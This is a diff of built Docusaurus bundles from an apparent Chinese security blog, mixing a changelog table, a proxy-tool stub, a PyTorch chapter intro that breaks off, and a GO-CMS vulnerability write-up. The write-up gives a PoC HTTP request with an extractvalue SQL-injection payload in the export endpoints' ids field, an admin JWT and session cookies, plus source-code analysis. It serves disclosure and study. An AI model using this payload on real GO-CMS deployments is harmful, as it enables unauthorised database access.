12:28:38"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/PHP/PHP%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86.html",children:"\u4ee3\u7801\u5ba1\u8ba1/PHP/PHP\u4ee3\u7801\u5ba1\u8ba1\u57fa\u7840\u77e5\u8bc6"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})})]}),"\n",(0,A.jsx)(e.h3,{id:"2022\u5e7412\u670801\u65e5",children:"2022\u5e7412\u670801\u65e5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,A.jsxs)(e.table,{children:[(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})}),(0,A.jsx)(e.tbody,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2022-12-01 00:42:24"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Java/%E5%9F%BA%E7%A1%80%E5%AE%A1%E8%AE%A1/JAVA%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html",children:"\u4ee3\u7801\u5ba1\u8ba1/Java/\u57fa\u7840\u5ba1\u8ba1/JAVA\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]})})]}),"\n",(0,A.jsx)(e.h2,{id:"2022\u5e7411\u6708",children:"2022\u5e7411\u6708"}),"\n",(0,A.jsx)(e.h3,{id:"2022\u5e7411\u670829\u65e5",children:"2022\u5e7411\u670829\u65e5"}),"\n\n\n\n\n\n\n\n\n\n",(0,A.jsx)(e.table,{children:(0,A.jsx)(e.thead,{children:(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u65f6\u95f4"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u8def\u5f84"}),(0,A.jsx)(e.th,{style:{textAlign:"left"},children:"\u64cd\u4f5c"})]})})})]})}function r(t={}){const{wrapper:e}={...(0,s.R)(),...t.components};return e?(0,A.jsx)(e,{...t,children:(0,A.jsx)(h,{...t})}):h(t)}}}]); \ No newline at end of file diff --git a/en/assets/js/c2288b4d.58c7503e.js b/en/assets/js/c2288b4d.58c7503e.js new file mode 100644 index 0000000..8a5563d --- /dev/null +++ b/en/assets/js/c2288b4d.58c7503e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3836],{13502:(e,i,n)=>{n.d(i,{A:()=>s});const s=n.p+"assets/images/image-20241211112536615-df09b8e3dc3599632a11c42563243838.png"},28453:(e,i,n)=>{n.d(i,{R:()=>t,x:()=>r});var s=n(96540);const c={},l=s.createContext(c);function t(e){const i=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(i):{...i,...e}},[i,e])}function r(e){let i;return i=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:t(e.components),s.createElement(l.Provider,{value:i},e.children)}},45813:(e,i,n)=>{n.r(i),n.d(i,{assets:()=>d,contentTitle:()=>r,default:()=>a,frontMatter:()=>t,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","title":"GO-CMS\u4ee3\u7801\u5ba1\u8ba1","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/03.Go/01.GO-CMS\u4ee3\u7801\u5ba1\u8ba1.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/03.Go","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Go/GO-CMS\u4ee3\u7801\u5ba1\u8ba1","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/03.\u4ee3\u7801\u5ba1\u8ba1/03.Go/01.GO-CMS\u4ee3\u7801\u5ba1\u8ba1.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/PHP/\u8bb0\u5f55\u4e00\u6b21\u5bf9PHAR\u53cd\u5e8f\u5217\u5316\u7684\u5229\u7528"},"next":{"title":"Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u7591\u96be\u6742\u75c7/k3s/Traefik\u8d44\u6e90\u8de8\u547d\u540d\u7a7a\u95f4\u8c03\u7528/"}}');var c=n(74848),l=n(28453);const t={},r=void 0,d={},o=[{value:"0x01 \u6f0f\u6d1e\u8bf4\u660e",id:"0x01-\u6f0f\u6d1e\u8bf4\u660e",level:2},{value:"0x02 \u6f0f\u6d1e\u8be6\u60c5",id:"0x02-\u6f0f\u6d1e\u8be6\u60c5",level:2},{value:"1. \u6f0f\u6d1e\u590d\u73b0",id:"1-\u6f0f\u6d1e\u590d\u73b0",level:3},{value:"2. \u6e90\u7801\u5206\u6790",id:"2-\u6e90\u7801\u5206\u6790",level:3}];function h(e){const i={a:"a",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(i.table,{children:[(0,c.jsx)(i.thead,{children:(0,c.jsxs)(i.tr,{children:[(0,c.jsx)(i.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(i.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(i.tbody,{children:(0,c.jsxs)(i.tr,{children:[(0,c.jsx)(i.td,{style:{textAlign:"left"},children:(0,c.jsx)(i.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(i.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,c.jsx)(i.h2,{id:"0x01-\u6f0f\u6d1e\u8bf4\u660e",children:"0x01 \u6f0f\u6d1e\u8bf4\u660e"}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1e\u63cf\u8ff0"}),"\uff1a\u53d1\u73b0\u5728",(0,c.jsx)(i.code,{children:"GO-CMS <=1.11.0"}),"\uff0c\u653b\u51fb\u8005\u5728\u5bfc\u51fa\u7528\u6237/\u6743\u9650\u8868\u683c\u65f6\uff0c\u7531\u4e8eid\u76f4\u63a5\u62fc\u63a5\u5bfc\u81f4SQL\u6ce8\u5165"]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1e\u6e90\u7801"}),"\uff1a",(0,c.jsx)(i.a,{href:"https://cdn.wjlin0.com/src-source/GO-CMS-1.1.10.zip",children:"GO-CMS-1.1.10.zip"})]}),"\n",(0,c.jsxs)(i.p,{children:["\u9879\u76ee\u5730\u5740\uff1a",(0,c.jsx)(i.a,{href:"https://github.com/Xi-Yuer/GO-CMS/",children:"https://github.com/Xi-Yuer/GO-CMS/"})]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1e\u7b49\u7ea7"}),"\uff1a",(0,c.jsx)(i.strong,{children:"\u9ad8"})]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u5f71\u54cd\u7248\u672c"}),"\uff1a",(0,c.jsx)(i.strong,{children:(0,c.jsx)(i.code,{children:"<=1.1.10"})})]}),"\n",(0,c.jsxs)(i.p,{children:[(0,c.jsx)(i.strong,{children:"\u6f0f\u6d1eURL"}),"\uff1a"]}),"\n",(0,c.jsxs)(i.ul,{children:["\n",(0,c.jsx)(i.li,{children:(0,c.jsx)(i.code,{children:"http://ip:port/cms/users/export"})}),"\n",(0,c.jsx)(i.li,{children:(0,c.jsx)(i.code,{children:"http://ip:port/cms/roles/export"})}),"\n"]}),"\n",(0,c.jsx)(i.h2,{id:"0x02-\u6f0f\u6d1e\u8be6\u60c5",children:"0x02 \u6f0f\u6d1e\u8be6\u60c5"}),"\n",(0,c.jsx)(i.h3,{id:"1-\u6f0f\u6d1e\u590d\u73b0",children:"1. \u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,c.jsx)(i.p,{children:"\u8be5\u6f0f\u6d1e\u9700\u8981\u62e5\u6709\u5bf9\u4e0a\u8ff0\u63a5\u53e3\u7684\u6743\u9650\uff0c\u624d\u80fd\u89e6\u53d1\uff1b\u5982\u4e0b\uff0c\u6784\u9020\u4ee5\u4e0bPOC"}),"\n",(0,c.jsx)(i.pre,{children:(0,c.jsx)(i.code,{className:"language-http",children:'POST /cms/roles/export HTTP/1.1\nHost: localhost:5173\nContent-Length: 73\nsec-ch-ua-platform: "macOS"\nAuthorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM0OTgwNjMxOTYwMDk2NzY4IiwiYWNjb3VudCI6ImFkbWluIiwiaXNBZG1pbiI6MSwicm9sZUlkIjpbIjM3OTA0MjA4NTYwNjU2Mzg0IiwiNDU4NjQ5NTAxMTA4ODM4NDAiXSwiaW50ZXJmYWNlRGljIjpbIlBPU1Q6L2RlcGFydG1lbnQiLCJERUxFVEU6L2RlcGFydG1lbnQvOmlkIiwiUEFUQ0g6L2RlcGFydG1lbnQvOmlkIiwiR0VUOi9pbnRlcmZhY2UvcGFnZS86aWQiLCJERUxFVEU6L2ludGVyZmFjZS86aWQiLCJQT1NUOi9pbnRlcmZhY2UiLCJQQVRDSDovaW50ZXJmYWNlLzppZCIsIkdFVDovdXBsb2FkIiwiREVMRVRFOi91cGxvYWQvZGVsLzppZCIsIlBPU1Q6L3VwbG9hZC9jaGVjayIsIlBPU1Q6L3VwbG9hZCIsIlBPU1Q6L3VwbG9hZC9maW5pc2giLCJQT1NUOi91cGxvYWQvZG93bmxvYWQvOmlkIiwiR0VUOi91cGxvYWQvYUhyZWYvZG93bmxvYWQvOmlkIiwiR0VUOi9hdXRoL2Nvb2tpZSIsIkdFVDovbG9nL3N5c3RlbSIsIkdFVDovdGltZVRhc2siLCJQT1NUOi90aW1lVGFzay9zdGFydC86aWQiLCJQT1NUOi90aW1lVGFzay9zdG9wLzppZCIsIlBBVENIOi90aW1lVGFzay91cGRhdGUvOmlkIiwiR0VUOi9wYWdlcy9tZW51cyIsIlBPU1Q6L3VzZXJzIiwiR0VUOi9zeXN0ZW0iLCJHRVQ6L2xvZy9jb21taXRzIiwiR0VUOi9sb2cvY29tbWl0cy9jb3VudCIsIlBPU1Q6L3VzZXJzL3F1ZXJ5IiwiUE9TVDovcm9sZXMvcXVlcnkiLCJHRVQ6L2RlcGFydG1lbnQiLCJQQVRDSDovdXNlcnMvOmlkIiwiREVMRVRFOi91c2Vycy86aWQiLCJHRVQ6L3VzZXJzLzppZCIsIkRFTEVURTovcm9sZXMvOmlkIiwiUE9TVDovcm9sZXMvZXhwb3J0IiwiUE9TVDovdXNlcnMvZXhwb3J0IiwiUEFUQ0g6L3JvbGVzLzppZCIsIlBPU1Q6L3JvbGVzIiwiUE9TVDovcGFnZXMiLCJERUxFVEU6L3BhZ2VzLzppZCIsIkdFVDovcGFnZXMiLCJHRVQ6L3BhZ2VzL3VzZXIiLCJQQVRDSDovcGFnZXMvOmlkIiwiR0VUOi9wYWdlcy9yb2xlLzppZCIsIkdFVDovdXNlcnMvcm9sZS86aWQiLCJQT1NUOi9yb2xlcy9iaW5kVXNlciIsIlBPU1Q6L3JvbGVzL2RlQmluZFVzZXIiLCJQT1NUOi91c2Vycy9xdWVyeS9yb2xlLzppZCJdLCJkZXBhcnRtZW50SWQiOm51bGwsImlzcyI6IlhpLVl1ZXIiLCJzdWIiOiJhZG1pbiIsImV4cCI6MTczMzk2NTYyNSwibmJmIjoxNzMzODc5MjI2LCJpYXQiOjE3MzM4NzkyMjUsImp0aSI6IjM0OTgwNjMxOTYwMDk2NzY4In0.Cd2CJg1TpqdkSn3F2F1LZlfUeH7hGxclLD34PH7zzK8\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36\nAccept: application/json, text/plain, */*\nContent-Type: application/json\nOrigin: http://localhost:5173\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:5173/\nAccept-Encoding: gzip, deflate, br\nCookie: Phpstorm-f30b1e9e=0694f073-c92a-4934-afee-c48c22785c21; Goland-852c6800=72bd19d4-b952-464f-9518-4cf4be331da3; device_id=61941ffb39fe4eafa03839d648f83ed5; FUCNdjYGFg4G=MTczMzg3OTIyNXxEWDhFQVFMX2dBQUJFQUVRQUFBRV80QUFBQT09fH-QTxZOkvnjo5WwV5AqR_ilvvDPSEgjD7WXHb4XSkfi\nConnection: keep-alive\n\n{"ids":["1) and extractvalue(\'~\',concat(\'~\',(select database()))) -- "]}\n'})}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649997.png",alt:"image-20241211111851195"})}),"\n",(0,c.jsx)(i.p,{children:"\u540c\u7406\uff0c\u5728\u7528\u6237\u529f\u80fd\u5bfc\u51fa\u8868\u683c\u65f6\uff0c\u4e5f\u4f1a\u89e6\u53d1SQL\u6ce8\u5165"}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649998.png",alt:"image-20241211112123856"})}),"\n",(0,c.jsx)(i.h3,{id:"2-\u6e90\u7801\u5206\u6790",children:"2. \u6e90\u7801\u5206\u6790"}),"\n",(0,c.jsxs)(i.p,{children:["\u4ee5\u5bfc\u51fa\u7528\u6237\u8868\u683c\u4e3a\u4f8b\uff0c\u653b\u51fb\u8005\u53d1\u9001\u6076\u610f\u4ee3\u7801\uff0c\u9996\u5148\u4f1a\u89e6\u53d1",(0,c.jsx)(i.code,{children:"controllers.UserController.ExportExcel"})," \u63a7\u5236\u5668"]}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649999.png",alt:"image-20241211112358410"})}),"\n",(0,c.jsxs)(i.p,{children:["\u7cfb\u7edf\u9996\u5148\u62ff\u5230",(0,c.jsx)(i.code,{children:"JSON"}),"\u4e2d\u7684",(0,c.jsx)(i.code,{children:"ids"}),"\u5b57\u6bb5\uff0c\u5e76\u8c03\u7528",(0,c.jsx)(i.code,{children:" services.UserService.ExportExcel"}),"\u51fd\u6570"]}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649000.png",alt:"image-20241211112536615"})}),"\n",(0,c.jsxs)(i.p,{children:["\u7ee7\u7eed\u8c03\u7528 ",(0,c.jsx)(i.code,{children:"repositories.UserRepositorysModules.ExportExcel"}),"\u51fd\u6570"]}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{src:"https://cdn.wjlin0.com/img/202508191649001.png",alt:"image-20241211112628566"})}),"\n",(0,c.jsx)(i.p,{children:"\u5728\u8fd9\u4e2a\u51fd\u6570\u4e2d\uff0c\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f20\u9012\u7684ids\u5b57\u6bb5\uff0c\u901a\u8fc7\u9017\u53f7\u5206\u9694\u540e\uff0c\u76f4\u63a5\u62fc\u63a5\u5230\u4e86 query \u540e"}),"\n",(0,c.jsx)(i.p,{children:(0,c.jsx)(i.img,{alt:"image-20241211112813219",src:n(13502).A+"",width:"2536",height:"1182"})}),"\n",(0,c.jsx)(i.p,{children:"\u6700\u7ec8\u6076\u610f\u8bed\u53e5\u88ab\u6267\u884c"})]})}function a(e={}){const{wrapper:i}={...(0,l.R)(),...e.components};return i?(0,c.jsx)(i,{...e,children:(0,c.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/c29a0e18.78d4ebd4.js b/en/assets/js/c29a0e18.78d4ebd4.js new file mode 100644 index 0000000..97c367c --- /dev/null +++ b/en/assets/js/c29a0e18.78d4ebd4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1948],{28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>l});var s=n(96540);const o={},r=s.createContext(o);function i(t){const e=s.useContext(r);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(o):t.components||o:i(t.components),s.createElement(r.Provider,{value:e},t.children)}},46078:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","title":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/03.\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/03.\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528\u4e91\u51fd\u6570\u505a\u4ee3\u7406"},"next":{"title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316"}}');var o=n(74848),r=n(28453);const i={},l=void 0,c={},a=[];function d(t){const e={a:"a",blockquote:"blockquote",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...t.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsxs)(e.table,{children:[(0,o.jsx)(e.thead,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(e.tbody,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.td,{style:{textAlign:"left"},children:(0,o.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(e.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,o.jsxs)(e.blockquote,{children:["\n",(0,o.jsx)(e.p,{children:"[!Tip]"}),"\n",(0,o.jsxs)(e.p,{children:["\u79fb\u6b65\u81f3 ",(0,o.jsx)(e.a,{href:"https://book.wjlin0.com/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/05.%E8%AF%AD%E8%A8%80%E7%9F%A5%E8%AF%86/03.Go/03.Go%E4%BB%A3%E7%A0%81%E6%A1%88%E4%BE%8B/02.GoLang-%E7%AE%80%E6%98%93http%E4%BB%A3%E7%90%86.html",children:"GoLang-\u7b80\u6613http\u4ee3\u7406"})]}),"\n"]})]})}function h(t={}){const{wrapper:e}={...(0,r.R)(),...t.components};return e?(0,o.jsx)(e,{...t,children:(0,o.jsx)(d,{...t})}):d(t)}}}]); \ No newline at end of file diff --git a/en/assets/js/c2f34fb9.ce801dd2.js b/en/assets/js/c2f34fb9.ce801dd2.js new file mode 100644 index 0000000..7c13037 --- /dev/null +++ b/en/assets/js/c2f34fb9.ce801dd2.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7336],{19272:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>l,contentTitle:()=>o,default:()=>a,frontMatter:()=>i,metadata:()=>r,toc:()=>h});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","title":"8.1 \u672c\u7ae0\u7b80\u4ecb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/08.\u7b2c\u516b\u7ae0/8.1 \u672c\u7ae0\u7b80\u4ecb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u516b\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/"},"next":{"title":"8.2 \u56fe\u50cf - torchvision.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516b\u7ae0/8.2 \u56fe\u50cf - torchvision"}}');var s=n(74848),c=n(28453);const i={},o="8.1 \u672c\u7ae0\u7b80\u4ecb.md",l={},h=[];function d(e){const t={h1:"h1",header:"header",img:"img",p:"p",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"81-\u672c\u7ae0\u7b80\u4ecbmd",children:"8.1 \u672c\u7ae0\u7b80\u4ecb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:29"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"81-\u672c\u7ae0\u7b80\u4ecb",children:"8.1 \u672c\u7ae0\u7b80\u4ecb"}),"\n",(0,s.jsx)(t.p,{children:"\u606d\u559c\u4f60\uff0c\u7ecf\u8fc7\u524d\u9762\u4e03\u7ae0\u5185\u5bb9\u7684\u5b66\u4e60\uff0c\u4f60\u5df2\u7ecf\u9010\u6b65\u719f\u6089\u4e86PyTorch\u7684\u4f7f\u7528\uff0c\u80fd\u591f\u5b9a\u4e49\u548c\u4fee\u6539\u81ea\u5df1\u7684\u6a21\u578b\uff0c\u5b66\u4f1a\u4e86\u5e38\u7528\u7684\u8bad\u7ec3\u6280\u5de7\uff0c\u5e76\u901a\u8fc7\u53ef\u89c6\u5316\u8f85\u52a9PyTorch\u7684\u4f7f\u7528\u3002"}),"\n",(0,s.jsx)(t.p,{children:"PyTorch\u7684\u5f3a\u5927\u5e76\u4e0d\u4ec5\u5c40\u9650\u4e8e\u81ea\u8eab\u7684\u6613\u7528\u6027\uff0c\u66f4\u5728\u4e8e\u5f00\u6e90\u793e\u533a\u56f4\u7ed5PyTorch\u6240\u4ea7\u751f\u7684\u4e00\u7cfb\u5217\u5de5\u5177\u5305\uff08\u4e00\u822c\u662fPython 